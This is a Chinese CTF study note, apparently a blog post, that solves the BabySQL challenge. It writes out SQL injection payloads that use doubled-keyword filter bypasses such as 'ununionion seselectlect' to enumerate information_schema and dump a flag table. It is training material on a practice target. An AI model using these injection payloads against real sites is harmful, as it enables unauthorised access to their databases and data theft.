CTF学习笔记——[极客大挑战 2019]BabySQL

一、[极客大挑战 2019]BabySQL

1.题目

在这里插入图片描述

2.解题步骤

一看就知道是之前一个系列的题,可惜并不耽误我不会做…
在尝试的时候报错是看不懂的,这里简单记述一下心路历程。SQL注入的题目自然是1' or 1=1 #
结果很奇怪
在这里插入图片描述
这里在看过WP才知道是把or过滤掉了才有这样的回显。很明显我注入的东西和回显出来的东西不一样。那么是什么过滤呢,从这样的回显来看,是把or替换成了空白。师傅们的做法是双写。就是改成oorr。匹配的时候会把中间的替换成空 然后外面的再组成or。双写绕过学会了)
在这里插入图片描述
接下来就是常规的SQL注入手法了,先试试联合查询。

?username=123&password=1' union select 1 #

在这里插入图片描述
这里可以看出来union select都被过滤了。故技重施,双写试试。

check.php?username=123&password=1 %27 ununionion seselectlect 1 %23

在这里插入图片描述
行数不对,换着查
在这里插入图片描述
在这里插入图片描述
数据库的列数为3。继续走流程

check.php?username=123&password=1 %27 ununionion seselectlect 1, database(),3%23 

在这里插入图片描述
库名为geek。
继续构造查库的信息。

1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

在这里插入图片描述
from和information被空白了,双写绕过

1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata)#

这个payload试不出来了,不是科班出身,对SQL不是很熟悉。
这句代码的大意是把information_schema.schemata的schema_name排列出来。schema_name可以理解成表名。
其中from和information中的or被空白替换了,需要双写。
在这里插入图片描述
可以看到有个CTF库,这回可以用之前的语句查询了。

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom  infoorrmation_schema.tables whwhereere table_schema='ctf'#

where也被过滤了一下。
在这里插入图片描述
查flag中的信息。

1' ununionion seselectlect 1,2,group_concat(Flag) frfromom ctf.Flag#

(注意大小写!!!)
在这里插入图片描述

3.总结
  1. 对于SQL还是一团浆糊。库名、表名、字段等概念都不是很熟悉,需要自己搭建一个熟悉一下。
  2. 学会了双写绕过库名搜索的payload。
4.参考资料

猜你喜欢

转载自blog.csdn.net/Obs_cure/article/details/113764439
今日推荐